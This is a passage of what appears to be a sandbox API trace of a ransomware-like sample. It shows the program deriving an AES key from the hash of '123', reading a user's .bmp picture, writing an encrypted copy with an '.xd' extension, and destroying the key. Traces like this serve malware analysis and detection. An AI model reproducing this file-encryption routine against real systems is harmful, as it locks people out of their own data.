wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629350, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.570] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.570] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.570] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.570] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0062.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218b8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0062.570] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0062.571] CryptHashData (hHash=0x164c3f0, pbData=0x1629490, dwDataLen=0x3, dwFlags=0x1) returned 1 [0062.571] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.571] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.571] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.571] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.571] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.571] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.571] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.571] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0062.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621750, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0062.571] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0062.571] CryptDeriveKey (in: hProv=0x17aaab0, Algid=0x6610, hBaseData=0x164c3f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c970) returned 1 [0062.571] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.571] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.572] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.572] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.572] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.572] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.572] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0062.572] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0062.573] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0062.573] CryptDestroyHash (hHash=0x164c3f0) returned 1 [0062.573] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.573] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.573] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.573] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.573] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.573] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\mb69.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0062.573] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.573] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0062.573] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.573] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.573] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.573] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm")) returned 0x10 [0062.574] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\mb69.bmp.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0062.574] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.574] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.574] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.574] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.579] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0062.579] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xb080, lpOverlapped=0x0) returned 1 [0062.580] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0062.584] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.584] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.584] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.584] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0062.585] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.585] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.585] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0062.585] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.585] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0062.585] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.585] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.585] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.585] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0062.585] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0062.586] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0062.586] CryptGetKeyParam (in: hKey=0x164c970, dwParam=0x7, pbData=0x1629330, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629330*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0062.586] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.586] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.586] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.586] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.586] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.586] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.586] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.586] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.587] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.587] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.587] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.587] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.587] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.587] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.587] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.587] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.587] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.587] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.587] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621870, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.588] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.588] CryptEncrypt (in: hKey=0x164c970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xb080, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xb090) returned 1 [0062.588] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.588] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.588] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.588] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.588] CharLowerBuffW (in: lpsz="byte[45201]", cchLength=0xb | out: lpsz="byte[45201]") returned 0xb [0062.588] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.589] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.589] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.589] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.589] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.589] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.590] CryptEncrypt (in: hKey=0x164c970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1878090*, pdwDataLen=0x130e618*=0xb080, dwBufLen=0xb090 | out: pbData=0x1878090*, pdwDataLen=0x130e618*=0xb090) returned 1 [0062.590] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.590] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.590] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.590] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.590] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.590] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.590] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.590] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.590] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.590] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.590] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.590] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.590] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.590] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.590] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.590] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.590] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.593] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.593] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.593] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.593] WriteFile (in: hFile=0x2ac, lpBuffer=0x17ebbb8*, nNumberOfBytesToWrite=0xb090, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17ebbb8*, lpNumberOfBytesWritten=0x130f01c*=0xb090, lpOverlapped=0x0) returned 1 [0062.595] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.595] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.595] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0062.595] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.595] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.595] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0062.595] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621588, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0062.595] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0062.595] CryptDestroyKey (hKey=0x164c970) returned 1 [0062.595] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, 